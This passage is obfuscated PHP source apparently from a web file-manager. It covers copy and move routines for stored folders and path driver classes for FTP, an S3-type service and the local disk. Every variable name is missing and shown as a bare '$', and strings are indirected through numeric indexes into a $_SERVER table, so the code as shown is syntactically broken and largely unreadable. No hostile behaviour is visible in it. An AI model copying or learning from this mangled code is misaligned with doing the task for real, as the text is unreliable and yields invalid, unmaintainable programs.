, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$])) { return; } unset(self::$_lockItemArr[$]); CacheLock::unlock
($); } } public function isParentOf($, $) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sour
ceInfo($); $ = $[$[592]] . $[$[193]] . $[50]; $ = $[$[592]] . $[$[193]] . $[50]
; $ = strpos($, $) === 0; return $; } private $targetIsDelete = 0; public function copy($, $, $ = REPEAT
_REPLACE, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($); if (!$
|| !$ || $[$[493]] != $[91]) { return !1; } if ($this->isParentOf($, $)) { return !1; } $ = $ ?
$ : $[$[32]]; $this->lockCopyStart($); $this->lockWriteStart($, $); $ = array($[637] => array
(), $[638] => array(), $[639] => array()); $this->targetIsDelete = intval($[$[513]]); $ = $this->fileNameExistA
uto($, $); $ = $this->_copy($, $, $, $, !0, $); $this->_childrenListClear(); $this->lockCopyEnd(
$); $this->lockWriteEnd($, $); if ($[$[493]] == $[91] && $ == $) { $this->folderSizeResetChildr
en($); } Model($[640])->addAll($[$[638]], array(), !0); if ($ != $ || $[$[493]] == $[91])
{ Model($[641])->eventCopy($); } $this->saveAll($[$[639]]); Model($[230])->linkAdd($[$[637]]); $this
->folderSizeReset($); $this->updateModifyTime($); return $; } private function _copy($, $, $, &$, $, $
 = '') { $ =& $_SERVER[]; $ = $this->sourceInfoCache($); $ = $[$[493]] == $[91]; $ = $
 ? $ : $[$[32]]; $ = $this->fileNameExistAuto($, $); if ($) { $this->_childrenAllMake($); if ($ &
& $) { $this->_childrenAllMake($); } } if (!$) { return $this->_copyCreate($, $, $, $); } $ = $
; if ($) { if ($ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($, $, $, $); $ = $this->_c
opyCreate($, $, $, $); } else { $ = $this->_childrenList($); foreach ($ as $) { $this->_copy($[$
[193]], $, $, $, !1); } } } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAu
toCache($, $, $, $); $ = $this->_copyCreate($, $, $, $); } else { if ($ == REPEAT_REPLACE)
{ $ = $this->sourceInfoCache($); $ = $this->fileHistory($, $[$[549]], $[$[79]]); if ($) { $[$
[637]][] = $[$[549]]; } } else { if ($ == REPEAT_SKIP) { } } } Hook::trigger($[642], array($[643], $, 0)); }
return $; } private function _copyCreate($, $, $, &$) { $ =& $_SERVER[]; $ = $this->sourceInfoCache(
$); $ = $this->sourceInfoCache($); $ = $this->_makeItemData($, $, $); Hook::trigger($[644], $); Hook:
:trigger($[645], array($[646], $, 0)); $ = $this->add($); $ = array($[193] => $, $[32] => $); $t
his->_copyApplyMeta($, $); if ($[$[493]] != $[91]) { $[$[637]][] = $[$[549]]; return $; } $
 = array(); $ = array(); $this->_childrenListAll($, $); $ = count($); if ($ == 0) { return $; } $
= $this->sourceInfo($); foreach ($ as $) { $ = $this->_makeItemData($, $, $[$[32]]); $[$[59
2]] = $[$[592]]; $[] = $; } $this->chunkEventSet($[647], array($[648], $, $)); $this->addAll($
, array(), !1); $ = $this->where(array($[192] => $))->select(); $ = $this->_childrenMakeRelation($, $); $[$
] = $; $ = array(); $ = array(); foreach ($ as $) { $ = $[$[193]]; $ = $this->_childrenMa
tch($, $, $); $[] = array($[193], $, $[192], $[$[192]]); $[] = array($[193], $
, $[592], $[$[592]]); $this->_copyApplyMeta($, $); if ($[$[493]] != $[91]) { $[$[637]]
[] = $[$[549]]; } } $this->chunkEventSet($[649], array($[650], $, $)); $this->saveAll($); $this->chunkEven
tSet($[651], array($[652], $, $)); $this->saveAll($); return $; } private function _childrenMakeRelation($,
$) { $ =& $_SERVER[]; $ = array(); $ = array(); foreach ($ as $) { $ = $[$[32]] . $[8]
. $[$[592]]; $[$] = $[$[193]]; } foreach ($ as $) { $ = $[$[32]] . $[8] . $[$
[592]]; $ = $[$]; $[$] = $[$[193]]; } return $; } private function _childrenMatch($, $,
$) { $ =& $_SERVER[]; $ = $[$[592]]; $ = $this->parentLevelArray($[$[592]]); foreach ($ as
$) { if (isset($[$])) { $ .= $[$] . $[653]; } } $ = rtrim($, $[50]) . $[50]; $
= $this->parentLevelArray($); $ = $[count($) - 1]; return array($[192] => $, $[592] => $); } private
function _makeItemData($, $, $) { $ =& $_SERVER[]; $ = array($[654] => $[$[493]], $[50
2] => $, $[655] => $[$[494]] ? $[$[494]] : $[12], $[550] => $[$[549]] ? $[$[
549]] : 0, $[625] => $[$[79]] ? $[$[79]] : 0, $[656] => intval($[$[190]]), $[657] => intval(
$[$[577]]), $[658] => intval(USER_ID), $[659] => intval(USER_ID), $[485] => intval($[$[193]]), $[6
60] => $[$[592]] . $[$[193]] . $[50], $[506] => $[$[88]] ? $[$[88]] : time(), $[5
12] => 0, $[661] => $[12]); return $; } private function _copyApplyMeta($, &$) { $ =& $_SERVER[]; $
= $[$[193]]; $ = $[$[32]]; if (!isset($[$[662]]) || !$[$[662]] || $[$[662]] == $
[228]) { $[$[639]][] = array($[193], $, $[662], short_id($)); } if (Input::check($, $[663]))
{ $[$[638]][] = array($[193] => $, $[97] => $[546], $[459] => str_replace($[53], $[12],
Pinyin::get($))); $[$[638]][] = array($[193] => $, $[97] => $[545], $[459] => Pinyin::get($, $
[664])); } $[$[638]][] = array($[193] => $, $[97] => $[525], $[459] => KodSort::makeStr($))
; } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($) { $ =& $_SE
RVER[]; $ = $this->sourceInfo($); $ = $[665]; $ = array($[592] => array($[620], $[$[592]]
. $ . $[621]), $[513] => $this->targetIsDelete); $ = $this->field($)->where($)->select(); if (!$) { retu
rn; } $ = array_to_keyvalue($, $[193]); foreach ($ as $) { $ = $[$[192]]; $ = $[$[1
93]]; if (!isset($this->_childrenListCache[$]) && $[$[493]] == $[91]) { $this->_childrenListCache[$] = array(); }
if (!isset($this->_childrenListCache[$])) { $this->_childrenListCache[$] = array(); } $this->_childrenListCache[$][$] = $
; $this->_childrenItemCache[$] = $; } } private function _childrenListAll($, &$) { $ =& $_SERVER[]; if (
!isset($this->_childrenListCache[$])) { return; } $ = $this->_childrenListCache[$]; foreach ($ as $ => $) { $
[$] = $; if ($[$[493]] == $[91]) { $this->_childrenListAll($, $); } } } private function sourceInfoCache($
) { if (isset($this->_childrenItemCache[$])) { return $this->_childrenItemCache[$]; } return $this->sourceInfo($); } priv
ate function _childrenList($) { if (isset($this->_childrenListCache[$])) { return $this->_childrenListCache[$]; } return $this->
_childrenListSelect($); } private function _childrenListSelect($) { $ =& $_SERVER[]; $ = array($[192] => $
, $[513] => $this->targetIsDelete); $ = $this->where($)->select(); $ = $ ? $ : array(); $ = array_to
_keyvalue($, $[193]); $this->_childrenListCache[$] = $; foreach ($ as $ => $) { $this->_childrenItemCache[$
] = $; } return $; } private function fileNameExistAuto($, $) { $ =& $_SERVER[]; if ($[$[513]] == $
[91]) { return $this->fileNameExist($, $[$[32]]); } return $this->fileNameExistCache($, $[$[32]]); } privat
e function fileNameExistCache($, $) { $ =& $_SERVER[]; $ = strtolower($); $ = $this->_childrenList($); f
oreach ($ as $) { if ($ == strtolower($[$[32]])) { return $[$[193]]; } } return !1; } private functi
on fileNameAutoCache($, $, $, $) { $ =& $_SERVER[]; $ = $this->_childrenList($); $ = array_to_keyva
lue($, $[12], $[32]); return $this->fileNameAutoGet($, $, $, $); } private function _childrenListClear() {
$this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(
); } public function move($, $, $ = REPEAT_REPLACE, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($
); $ = $this->sourceInfo($); if ($[$[192]] == $[$[193]]) { if ($[$[513]] == $[91]) {
Model($[511])->restore(array($)); } if (!$ || $ == $[$[32]]) { return $; } } $ = $this->pathInfo
More($); if ($this->isParentOf($, $)) { return !1; } if (!$ || !$ || $[$[493]] != $[91]) { retu
rn !1; } Hook::trigger($[666], $); $this->targetIsDelete = intval($[$[513]]); if ($[$[192]] == $ && $
 != $[$[32]]) { $ = $this->fileNameExist($, $); if ($ && $[$[493]] == $[228]) { $ = $thi
s->sourceInfo($); $ = $this->fileHistory($, $[$[549]], $[$[79]]); if (!$) { Model($[552])->remo
ve($[$[549]]); } $this->removeNow($, !1); $this->folderSizeReset($); Hook::trigger($[667], $); return $
; } } $ = $ ? $ : $[$[32]]; $this->lockMoveStart($); $this->lockWriteStart($, $); $ = array($
[637] => array(), $[668] => !1); $this->clearShare($, $); $ = $this->fileNameExistAuto($, $); $ = $thi
s->_move($, $, $, $, $); $this->sourceCacheClear(); if ($[$[493]] == $[91] && $) { $this->folde
rSizeResetChildren($); } Model($[230])->linkAdd($[$[637]]); if ($ && $[$[668]]) { $this->removeNow($
, !1); } $this->lockMoveEnd($); $this->lockWriteEnd($, $); $this->folderSizeReset($[$[192]]); $this->folderSiz
eReset($); $ = array($[$[192]], $); if ($[$[493]] == $[91]) { $[] = $; } $this->update
ModifyTime($); Model($[641])->eventMove($, $[$[192]], $); Hook::trigger($[667], $); return $
; } private function _move($, $, $, &$, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($
); $ = $[$[493]] == $[91]; $ = $ ? $ : $[$[32]]; $ = $this->fileNameExistAuto($, $
); $this->lockMoveStart($); $this->lockWriteStart($, $); if (!$) { return $this->_moveForce($, $, $); } $
 = $; $ = !1; if ($) { if ($ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($, $, $, $);
$ = $this->_moveForce($, $, $); } else { if ($ == REPEAT_RENAME_FOLDER) { $ = REPEAT_RENAME; } $ = $this->_ch
ildrenListSelect($); foreach ($ as $) { $this->_move($[$[193]], $, $, $); } $ = !0; } } else { i
f ($ == REPEAT_SKIP) { $ = !0; } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAu
to($, $, $, $); $ = $this->_moveForce($, $, $); } else { if ($ == REPEAT_REPLACE) { $ = $this-
>sourceInfoCache($); $ = $this->fileHistory($, $[$[549]], $[$[79]]); $ = !0; if ($) { $[$
[637]][] = $[$[549]]; } } } } } if ($ && !$[$[668]]) { $[$[668]] = !0; } return $; } private fu
nction _moveForce($, $, $) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($);
$ = $[$[493]] == $[91]; $ = array($[485] => $[$[193]], $[660] => $[$[592]] . $[$
[193]] . $[50], $[656] => $[$[190]], $[657] => $[$[577]], $[659] => USER_ID, $[502] => $);
$ = $[$[190]] == SourceModel::TYPE_GROUP && $[$[190]] == SourceModel::TYPE_GROUP && $[$[577]] == $[$
[577]]; if (!$ && $this->moveClearAuth) { Model($[575])->authClear($); } $ = $[$[513]] == $[91] &&
$[$[513]] != $[91]; if ($) { $[$[512]] = 0; } if ($) { $ = array($[660] => array($[620], $
[$[592]] . $[$[193]] . $[621])); $ = $[$[592]] . $[$[193]] . $[50]; $ = $[$
[592]] . $[$[193]] . $[50] . $[$[193]] . $[50]; $ = array($[660] => array($[669], "\x72\x6
5\x70\154\141\143\145\x28\160\x61\x72\145\x6e\x74\114\x65\x76\145\154\x2c\x27{$}\47\x2c\x27{$}\47\x29"), $[656] => $[$
[190]], $[657] => $[$[577]]); if ($) { $[$[512]] = 0; } $this->where($)->data($)->save(); } $this->
where(array($[499] => $))->data($)->save(); return $; } private function clearShare($, $) { $ =& $_SERVER
[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($); if ($[$[577]] == $[$[577]] && $
[$[190]] == $[670]) { return; } $ = array($[592] => array($[620], $[$[592]] . $ . $[621])); $
 = $this->field($[499])->where($)->getField($[193], !0); if (!$) { return; } $ = array($[193] => array(
$[7], $), $[671] => 1); $ = Model($[672])->field($[673])->where($)->select(); if (!$) { return; } $
 = array_to_keyvalue($, $[12], $[673]); $ = array($[673] => array($[7], $)); Model($[672])->wh
ere($)->save(array($[671] => 0)); Model($[674])->where($)->delete(); } public function copyFolderFromIO($, $
, $, $, $, $ = false) { $ =& $_SERVER[]; $ = array($[638] => array(), $[639] => array(), $
[637] => array(), $[675] => array()); $ = $ ? $ : $->pathThis($); $ = $this->fileNameExist($, $
); $ = $this->mkdir($, $, $); if (!$ || $ == REPEAT_RENAME_FOLDER) { $ = !1; } if ($) { $t
his->_childrenAllMake($); } Hook::trigger($[676]); $this->_copyChildTo($, $, $, $, $, $); Hook::tr
igger($[677]); if ($) { $this->folderSizeResetChildren($); } $this->_childrenListClear(); Model($[640])->addAll($
[$[638]], array(), !0); Model($[641])->eventCopy($); $this->saveAll($[$[639]]); Model($[552])->linkAdd($
[$[637]]); Model($[552])->remove($[$[675]]); $this->folderSizeReset($); $this->updateModifyTime($); return $
; } private function _copyChildTo($, $, $, $, &$, $) { $ =& $_SERVER[]; $ = $this->sourceInfoCac
he($); $ = $->listPath($); $ = $ ? $ : array($[86] => array(), $[85] => array()); $ = array_merg
e($[$[86]], $[$[85]]); $ = $this->_addFiles($, $[$[86]], $); $ = array(); foreach ($ as &$
) { if (isset($[$[$[32]]])) { $ = $[$[$[32]]]; } $[$[493]] = $[$[33]] == $
[78]; $[$[494]] = substr(_get($, $[169], $[12]), 0, 10); $[$[79]] = _get($, $[79], 0); $
[$[549]] = _get($, $[549], 0); if (!isset($[$[678]]) && $[$[549]]) { $[$[675]][] = $
[$[549]]; } if ($) { $ = $this->fileNameExistCache($, $[$[32]]); if ($) { if ($[$[493]] || $
 == REPEAT_SKIP) { continue; } if ($ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($); $ = $this->fileHistory($, $
[$[549]], $[$[79]]); if ($) { $[$[637]][] = $[$[549]]; } continue; } else { if ($ == REPEAT
_RENAME) { $[$[32]] = $this->fileNameAutoCache($, $[$[32]], $, !1); } } } } if (!$[$[493]] && $[
$[549]] == 0) { continue; } if (!$[$[493]] && $[$[549]]) { $[$[637]][] = $[$[549]]; } $
[] = $this->_makeItemData($, $, $[$[32]]); } unset($); if (!empty($)) { $this->addAll($); $this->_chil
drenListSelect($); } $ = $this->_childrenList($); $ = array_to_keyvalue($, $[32]); foreach ($ as $) { $
 = $[$[$[32]]]; $ = $[$[193]]; $this->_copyApplyMeta($, $); if ($[$[33]] == $[
78]) { $[$[87]] = $->getPathInner($[$[87]]); $this->_copyChildTo($, $[$[87]], $, $, $
, $); } } } private function _addFiles($, $, $) { $ =& $_SERVER[]; if (!$ || count($) == 0) { return a
rray(); } $ = array(); foreach ($ as &$) { Hook::trigger($[679], $); $[$[87]] = $->getPathInner($
[$[87]]); $ = $->hashSimple($[$[87]]); $ = $->hashMd5($[$[87]]); if (strlen($) > 10 &&
!isset($[$])) { $[$] = array(); } $[$[680]] = $; $[$[555]] = $; $[$][] =& $; if (
count($[$]) > 1) { $[$[678]] = !0; } Hook::trigger($[681], $); } unset($); $ = array($[555] =>
array($[7], array_keys($))); $ = Model($[682]); $ = $->where($)->select(); $ = $ ? $ : ar
ray(); foreach ($ as $) { if (!isset($[$[$[555]]])) { continue; } $ = $[$[$[555]]]; foreach
($ as &$) { $[$[549]] = $[$[549]]; $[$[678]] = !0; } unset($); } $ = array(); foreach
($ as $) { Hook::trigger($[683], $); if (isset($[$[678]]) && $[$[678]]) { Hook::trigger($[684]
, $); continue; } $ = $->getPathInner($[$[87]]); $ = $->addFileMake($, $[$[79]], $[$[68
0]], $[$[555]], $[$[32]], $); Hook::trigger($[684], $); if (!is_array($)) { continue; } $[] = $
; } $->addAll($); $ = array($[555] => array($[7], array_keys($))); $ = $->where($)->select();
$ = $ ? $ : array(); foreach ($ as $) { if (!isset($[$[$[555]]])) { continue; } $ =& $[
$[$[555]]]; foreach ($ as &$) { $[$[549]] = $[$[549]]; } unset($); } $ = array(); for
each ($ as $) { $[$[$[32]]] = $; } return $; } } define($_SERVER[][685], $_SERVER[][686]);
goto D; f: class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; pri
vate $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "\x31"; public $config = array(); publi
c function __construct($) { parent::__construct(); if (count($) > 0) { $this->_init($); } } public function __destruct() { if (!
$this->_isconn(!1)) { return !1; } return @ftp_close($this->connect); } private function charsetReset($) { $ =& $_SERVER[]; g
lobal $config; $this->appCharset = $config[$[1432]]; $this->systemCharset = $config[$[1433]]; if (isset($[$[1434]]) && $
[$[1434]]) { $this->systemCharset = $[$[1434]]; } } public function iconvApp($) { return $this->iconvTo($, $this->s
ystemCharset, $this->appCharset); } public function iconvSystem($) { return $this->iconvTo($, $this->appCharset, $this->systemChar
set); } public function getPathOuter($) { $ =& $_SERVER[]; $ = $this->iconvApp($this->pathBase); $ = $this->iconvA
pp($); if (substr($, 0, 2) == $[1406]) { $ = BASIC_PATH . substr($, 2); } if (substr($, 0, 2) == $[1406])
{ $ = BASIC_PATH . substr($, 2); } $ = KodIO::clear($); $ = KodIO::clear($); $ = substr($, strlen($
)); if (empty($this->pathDriver)) { return $; } return $this->pathDriver . $[8] . ltrim($, $[8]); } private functio
n _init($ = array()) { $ =& $_SERVER[]; if (!function_exists($[1435])) { throw new Exception(LNG($[1436])); } $
this->config = $; $this->charsetReset($); foreach ($ as $ => $) { if (isset($this->{$})) { $this->{$} =
$; } } return $this->_login($); } private function _login($) { $ =& $_SERVER[]; static $ = array(); $ =
md5(json_encode($)); if (isset($[$])) { foreach ($[$] as $ => $) { $this->{$} = $; } return !0;
} $ = parse_url(trim($this->server, $[8])); $this->host = $[$[208]]; $ = isset($[$[207]]) && $[$[
207]] == $[1437] ? !0 : !1; $this->scheme = $ ? $[1438] : $[1439]; $this->port = isset($[$[209]]) ? $[$
[209]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 30); if ($this->connect === !1) { $this->writeLog(LNG($[1440
]) . $this->host . $[4] . $this->port, !0); return !1; } $ = @ftp_login($this->connect, $this->username, $this->userpass); if (!$
) { $this->writeLog(LNG($[1441]) . $this->username, !0); return !1; } @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $
 = $this->pasv == $[91] ? !0 : !1; @ftp_pasv($this->connect, $); $[$] = array($[1442] => $this->connect, $
[208] => $this->host, $[207] => $this->scheme, $[209] => $this->port); return $; } private function _isconn($ = tru
e) { if (is_resource($this->connect)) { return !0; } if (!$) { return !1; } return $this->_login($this->config); } public function mkf
ile($, $ = '', $ = REPEAT_RENAME) { if ($this->setContent($, $)) { return $this->getPathOuter($); } $this->writ
eLog(LNG($_SERVER[][1443]), !0); return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[]; if (!$
 || $ == $[8]) { return !0; } if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); if ($this->_isFolder(
$) || @ftp_mkdir($this->connect, $)) { return $this->getPathOuter($); } if (!$this->mkdir($this->pathFather($))) { retur
n !1; } if ($ = @ftp_mkdir($this->connect, $)) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $[1444]
, !0); return !1; } public function copyFile($, $) { if (!$this->_isconn()) { return !1; } $ = $this->pathThis($this->iconvSys
tem($)); $ = $this->tempFile($); $ = $this->iconvApp($); $this->download($, $); $ = $this->upload($
, $); $this->tempFileRemve($); return $; } public function moveFile($, $) { if (!$this->_isconn()) { return !1; }
$ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = @ftp_rename($this->connect, $, $); if (!$
) { $this->writeLog(__FUNCTION__ . $_SERVER[][1444], !0); return !1; } return $this->getPathOuter($); } public function delF
ile($) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $ = @ftp_delete($this->connect, $); i
f (!$) { $this->writeLog(__FUNCTION__ . $_SERVER[][1444], !0); } return $; } public function delFolder($) { if (!$this->
_isconn()) { return !1; } $this->listItemCache = !1; $ = $ = array(); $this->fileList($, $, $, !0); $this->listItemCac
he = !0; foreach ($ as $) { $ = $this->iconvSystem($[$_SERVER[][32]]); $ = @ftp_delete($this->connect, $); if
(!$) { return !1; } } foreach ($ as $) { $ = $this->iconvSystem($); $ = @ftp_rmdir($this->connect, $); if (!$
) { return !1; } } $ = $this->iconvSystem($); return @ftp_rmdir($this->connect, $); } public function rename($, $)
{ $ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $this->fileNameAuto($this->pathFather($), $); $ =
$this->iconvSystem($); $ = $this->iconvSystem($); $ = $this->pathFather($); $ = rtrim($, $[8]) . $
[8] . $; $ = @ftp_rename($this->connect, $, $); if (!$) { $this->writeLog(__FUNCTION__ . $[1444], !0); return !1
; } $ = $this->iconvApp($); return $this->getPathOuter($); } private function folderInfo($, $ = false) { $ =& $_SER
VER[]; $ = array($[32] => $this->pathThis($), $[87] => $this->getPathOuter($[8] . $), $[33] => $
[78]); if ($) { return $; } $[$[231]] = $[$[88]] = 0; $[$[232]] = $[$[233]] = !0; return $
; } private function fileInfo($, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $th
is->pathThis($), $[87] => $this->getPathOuter($[8] . $), $[33] => $[230], $[79] => isset($[$
[79]]) ? $[$[79]] : 0, $[169] => $this->ext($)); if ($) { return $; } $[$[231]] = $[$
[88]] = 0; $[$[232]] = $[$[233]] = !0; $ = $this->iconvSystem($); $[$[88]] = @ftp_mdtm($this->co
nnect, $); if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } $[$[79]] = $[$
[79]]; return $; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][79]] :
0; } public function info($) { if ($this->isFile($)) { return $this->fileInfo($, 0); } else { if ($this->isFolder($)) { ret
urn $this->folderInfo($); } } return !1; } private function fileList($, &$, &$, $ = false) { $ =& $_SERVER[
]; $ = $this->iconvSystem($); if (!$this->isFolder($)) { return !1; } @ftp_chdir($this->connect, $[8]); $
= rtrim($, $[8]) . $[8]; check_abort(); $ = @ftp_rawlist($this->connect, $); if (!$) { $ = array(); } $
 = array($[10] => 1, $[1359] => 1); foreach ($ as $) { $ = $this->_listItem($); if ($[0] == $[
831]) { continue; } $ = $[8]; if (empty($) && $ !== $[228] || isset($[$])) { continue; } $ = $this->icon
vApp($ . ltrim($, $[8])); $ = array($[32] => $, $[33] => $[230], $[79] => $[4]); if (substr
($, 0, 1) == $[1445]) { $[$[33]] = $[78]; $[$[79]] = 0; } $ = $[$[33]] == $[78] ? !0
: !1; $this->cacheMethodInfoSet($, $, $); if ($) { $[] = $; if ($) { $this->fileList($, $, $
, $); } continue; } $[] = $; } $this->cacheMethodInfoSet($, !0); } private function _listItem($) { if (empty
($)) { return array(); } $ = preg_split($_SERVER[][1446], $); if (count($) <= 9) { return $; } $[8] = tr
im(substr($, strpos($, $[7]) + strlen($[7]))); return array_splice($, 0, 9); } public function listPath($, $
 = false) { $ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $ = array(); $this->fileList($, $,
$); foreach ($ as $ => $) { $[$] = $this->folderInfo($, $); } foreach ($ as $ => $) {
$[$] = $this->fileInfo($[$[32]], $, $); } return array($[85] => $, $[86] => $); } public
function has($, $ = false, $ = true) { $ =& $_SERVER[]; $ = $ = array(); $ = $ ? !0 : !1; $thi
s->fileList($, $, $, $); if ($) { return array($[239] => count($), $[240] => count($)); } if
($) { if (count($)) { return !0; } } else { if (count($)) { return !0; } } return !1; } public function listAll($) { $
 =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $ = array(); $this->fileList($, $, $, !0); $
 = array_to_keyvalue($, $[32]); foreach ($ as $) { if (is_string($)) { $[$] = array($[79] => 0); }
} return $this->listAllFiles($, $); } public function getContent($) { if (!$this->_isconn()) { return !1; } $ = $this
->iconvSystem($); return $this->fileSubstr($); } public function setContent($, $ = '') { if (!$this->_isconn()) { retur
n !1; } $ = $this->pathThis($this->iconvSystem($)); $ = $this->tempFile($); file_put_contents($, $); $ =
$this->upload($, $this->iconvApp($)); $this->tempFileRemve($); return $; } public function fileSubstr($, $ = 0
, $ = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($, $, $); } private function ftpRequest($
, $ = 0, $ = false) { $ = $this->iconvSystem($); $ = $this->scheme . $this->host . $_SERVER[][4] . $this->p
ort; $ = curl_init(); curl_setopt($, CURLOPT_URL, $ . $this->pathEncode($)); curl_setopt($, CURLOPT_USERPWD, "{$thi
s->username}\x3a{$this->userpass}"); if ($) { $ = $ + $ - 1; curl_setopt($, CURLOPT_RANGE, "{$}\55{$}"); }
curl_setopt($, CURLOPT_RETURNTRANSFER, 1); $ = curl_exec($); curl_close($); return $; } public function upload($
, $, $ = false, $ = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($))) { re
turn !1; } $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = ftp_nb_put($this->connect, $, $, FTP_BINARY);
while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { $this->writeLog(__FUNCTION__ . $
_SERVER[][1444], !0); return !1; } return $this->getPathOuter($); } public function download($, $ = '') { if (!$this->_is
conn()) { return !1; } $ = $this->pathFather($); if (!IO::mkdir($)) { return !1; } $ = $this->iconvSystem($); $
 = $this->iconvSystem($); $ = ftp_nb_get($this->connect, $, $, FTP_BINARY); while ($ == FTP_MOREDATA) { $ =
ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { $this->writeLog(__FUNCTION__ . $_SERVER[][1444], !0); return !1; } r
eturn $this->iconvApp($); } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function
isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMet
hod($_SERVER[][179], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][181], $); } prote
cted function _objectMeta($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return array(); } if (!$this->_
isconn()) { return !1; } $ = $this->iconvSystem($); $ = array($[32] => $this->iconvApp($), $[33] => $[230], $
[79] => 0); @ftp_chdir($this->connect, $[8]); $ = @ftp_size($this->connect, $); if ($ != -1) { $[$[79]] =
$; } else { $ = @ftp_chdir($this->connect, $); if (!$) { return !1; } $[$[33]] = $[78]; } return $
; } protected function _isFolder($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return !0; } $ = $
this->_objectMeta($); return isset($[$[33]]) && $[$[33]] == $[78] ? !0 : !1; } } class PathDriverJOS extends PathDri
verBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[][247]); } public function
uploadLink($, $ = 0) { $ =& $_SERVER[]; if ($this->isUploadServer()) { return; } $ = $this->getType(); if (!in_arra
y($, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $ = (!$ ? 1 : ceil($ / pow(1024, 3))) * 36
00 * 4; $ = $this->multiUploadFormData($, $); if ($) { $[$[97]] = $; $[$[98]] = $; } return $; } p
ublic function fileOutImage($, $ = 250) { if ($this->size($) > 1024 * 1024 * 25) { return $this->fileOutImageServer($, $);
} $ = $this->link($); $ .= $_SERVER[][1447] . $; $this->fileOutLink($); } public function fileOutLink($)
{ $ =& $_SERVER[]; if (substr($, 0, 7) == $[313]) { $ = $[314] . substr($, 7); } header($[175] .
$); die; } } class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct();
$this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($) { if (substr($, 0, 2) == $_SERVER[][1406]) { $ =
BASIC_PATH . substr($, 2); } return $; } public function iconvApp($) { $ =& $_SERVER[]; global $config; return $th
is->iconvTo($, $config[$[1433]], $config[$[1432]]); } public function iconvSystem($) { $ =& $_SERVER[]; global
$config; return $this->iconvTo($, $config[$[1432]], $config[$[1433]]); } public function getPathOuter($) { $ =& $
_SERVER[]; $ = $this->iconvApp($this->pathBase); $ = $this->iconvApp($); if (substr($, 0, 2) == $[1406]) { $
 = BASIC_PATH . substr($, 2); } if (substr($, 0, 2) == $[1406]) { $ = BASIC_PATH . substr($, 2); } $ = KodIO:
:clear($); $ = KodIO::clear($); $ = substr($, strlen($)); if (empty($this->pathDriver)) { return $; } return $
this->pathDriver . $[8] . ltrim($, $[8]); } public function mkfile($, $ = '', $ = REPEAT_RENAME) { $ = $t
his->iconvSystem($); @touch($); if ($) { file_put_contents($, $); } @chmod($, $this->pathAuth); if (is_file($
)) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $_SERVER[][1444], !0); return !1; } public function mkdir(
$, $ = REPEAT_SKIP) { $ = $this->iconvSystem($); if (is_dir($)) { return $this->getPathOuter($); } @mkdir($
, $this->pathAuth, !0); @chmod($, $this->pathAuth); if (is_dir($)) { return $this->getPathOuter($); } $this->writeLog(__FUN
CTION__ . $_SERVER[][1444], !0); return !1; } public function copyFile($, $) { $this->mkdir($this->pathFather($)); $
= $this->iconvSystem($); $ = $this->iconvSystem($); $ = copy_64($, $); @chmod($, $this->pathAuth); if ($
) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $_SERVER[][1444], !0); return !1; } public function moveFile(
$, $) { $this->mkdir($this->pathFather($)); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = intv
al(@rename($, $)); if (!$) { if ($ = intval(@copy_64($, $))) { @unlink($); } } @chmod($, $this->pathAuth);
if ($) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $_SERVER[][1444], !0); return !1; } public function mo
vePath($, $, $ = false) { $ =& $_SERVER[]; $ = $this->iconvSystem($); $ = $this->iconvSystem($);
$ = rtrim($, $[8]) . $[8] . ($ ? $ : get_path_this($)); if (file_exists($)) { return !1; } $ = i
ntval(@rename($, $)); $ = file_exists($); if ($) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION_
